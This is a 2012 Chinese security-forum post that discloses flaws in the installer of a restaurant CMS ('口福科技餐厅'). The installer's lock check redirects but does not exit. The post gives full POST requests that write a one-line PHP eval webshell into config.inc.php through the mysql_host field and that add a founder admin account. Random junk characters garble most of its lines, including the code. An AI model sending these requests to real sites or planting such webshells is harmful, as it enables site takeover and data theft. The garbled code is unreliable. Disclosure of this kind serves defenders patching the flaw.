找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。; ?# }3 H' \# R
9 P% {& p  \" {& o! D1 u
<?php
( o# s/ V& [( H  D# d4 tif(file_exists("../install.lock"))
3 _3 l3 |# h7 q) Z- a8 m7 }6 c{
; S; g( t) I& p! N& F    header("Location: ../");//没有退出8 y: X/ z+ a' L) s3 H
}  {/ J$ A+ L/ U. M; O
               * g# A! I. a' I: u' C
//echo 'tst';exit;% `5 \2 e$ v7 a$ l) C+ Z! H4 I+ `
require_once("init.php");! x5 M1 G: `& S3 v8 x0 s
if(empty($_REQUEST['step']) || $_REQUEST['step']==1). v9 }4 v. l* \" r' q6 T
{
3 k" F/ @3 `3 L+ |) p# ]可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
3 G& @' L, _. K0 F4 u4 j6 }- Z+ o, U9 m; x8 {8 a4 Z9 w; C9 n
1、getshell(很危险)
) ]; ]9 h7 A  T, m  k1 t+ Y" o4 qif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
! i$ |2 e# `% t4 `5 e{- B. y' T( s, H- f2 q
$smarty->assign("step",1);
9 T0 J: ~8 D1 j6 e& l- l$smarty->display("index.html");
1 U7 z& q+ \- o9 W) T8 d}elseif($_REQUEST['step']==2)9 h" y1 t( s3 }
{
" f: O4 n# R. `5 C2 C7 {) F    $mysql_host=trim($_POST['mysql_host']);
( ~' p. E; c7 e# _: c1 t6 }0 U1 T    $mysql_user=trim($_POST['mysql_user']);
, V% l) I6 l. N: Y' D    $mysql_pwd=trim($_POST['mysql_pwd']);
( B" D. |2 V$ a5 G# a& t' j! J    $mysql_db=trim($_POST['mysql_db']);
2 Y0 \, z+ N! w2 ]    $tblpre=trim($_POST['tblpre']);
  S5 B  Y* e, P2 ]+ ~: P+ R! c    $domain==trim($_POST['domain']);' [$ \  l! }. Y! [1 C# }
    $str="<?php \r\n";
( C  c4 e+ F( k5 l. g- |5 z    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
4 h' E, B* W: @' A2 D: ^/ |0 I5 y1 `" S    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";% M3 I6 ^8 v- q* g7 A: P
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";5 y4 V, [  A, y: p! t" D5 M
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
; K/ P( I- O2 U    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";1 H. N: H3 G, t  J" K: ~
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";# @9 X5 P" K' v+ ~- T& ]; g
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";# H% m  W* t& L# n& V  O' }/ S
    $str.='define("SKINS","default");'."\r\n";
: V, L* f6 g0 Z; ?    $str.='?>';
, [5 X! S- H( ?/ O+ P+ {: f: x4 S    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
+ x3 e3 r7 O- X" @( f" Z上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马  Z7 g7 B* Z6 L7 g" U8 R
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
% W$ s! Z5 U( h1 k6 V* A) f/ dHost: 192.168.80.1290 S6 y3 n( B3 |4 r6 E# V
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0& `4 R, B7 R" b9 ~4 w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) C4 N; g' J8 V) eAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3) H1 n& t7 N8 Y7 ^* z
Accept-Encoding: gzip, deflate- ?  E* F6 c/ p0 X; ~6 B/ W  e
Referer: http://192.168.80.129/canting/install/index.php?step=1
/ p  G" i( K  }  ~% DCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc425 q4 i$ S/ Q  {+ @) n) F+ w
Content-Type: application/x-www-form-urlencoded/ q0 y! c. g, b/ I) z4 e$ p
Content-Length: 126
' q$ F- s6 n& i          0 h, x6 U4 {9 U' b5 e& i
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
; w! A1 q$ w* w6 x% C3 m$ t但是这个方法很危险,将导致网站无法运行。$ R& q. y* N0 K; ^
# c6 Z8 {6 G' j
2、直接添加管理员5 ~# z2 {% ?* Y* ^: M! V6 f
4 F3 S! m6 F+ [# t
elseif($_REQUEST['step']==5)
) F4 b/ _% y4 u; I" a{
( y- ?1 B$ @2 O8 j( t& b    if($_POST)$ S# \; x8 O2 n4 a+ c! P; L
    {   require_once("../config/config.inc.php");
* W! I- {- S, d, ~5 |        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
6 W- `0 K# ?/ O" V. o) o9 s        mysql_select_db(MYSQL_DB,$link);4 J% {2 V# S/ F' X
        mysql_query("SET NAMES ".MYSQL_CHARSET );
( ?- m) H/ R+ ~$ {* E         mysql_query("SET sql_mode=''");
/ Q0 M! o. v+ I+ e7 B) p" ~
; e6 e/ N% U0 G! `" ? $adminname=trim($_POST['adminname']);, E1 \* Q' G; T2 k7 X
        $pwd1=trim($_POST['pwd1']);
1 F( b* |9 n1 Q& e  x! t( C) D$ c        $pwd2=trim($_POST['pwd2']);
/ j. J% A6 O& u& f: y) w  p        if(empty($adminname))
$ L6 V% P, @* a! D5 S# p        {  Y: l9 k$ t/ M0 L4 Y, K9 X" g
6 x  m+ B1 `  Y
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
' ]8 d) S! N( ?5 J            exit();
. W3 g, ^$ t: l" |5 u) I        }" G  z$ u* v% Y' m* r. S2 f
        if(($pwd1!=$pwd2) or empty($pwd1))
1 D" T" x0 p* Y# O  p8 e+ O        {
, H. n0 p$ v& }- ?            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
- h7 a% X& A/ n* g        }
8 l4 e5 V4 v: k* @4 Y0 }  {        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
8 x' w9 ?" }5 ?9 A  `, S" F' t    }
" t, q+ w* M0 g' T' T6 n. }2 Y这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
# v3 _% y  s0 E: u+ ^POST /canting/install/index.php?m=index&step=5 HTTP/1.1( O& A! ~( I8 Q' C# I
Host: 192.168.80.129! j; t7 i% y2 k( ]7 s
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
" N. M% a- [6 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 J' k2 J# D5 x" h( b4 z7 ?Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 O* R. }# d' [; y# q* U+ O6 vAccept-Encoding: gzip, deflate
+ D7 Q5 b  a) f+ i& Y% JReferer: http://www.2cto.com /canting/install/index.php?step=1
% o  }5 Z& g7 j2 D; r( |( e1 S' E& oCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% k& `% T7 ?8 i2 ^
Content-Type: application/x-www-form-urlencoded
( o7 T+ X, k- A$ L) m+ K1 H& uContent-Length: 46
/ q' O8 m" p  j  s+ D2 N      & A: ?6 C) ~0 z3 a6 V4 \
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
% V, x) Y) `) j& L% E3 L8 J2 V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表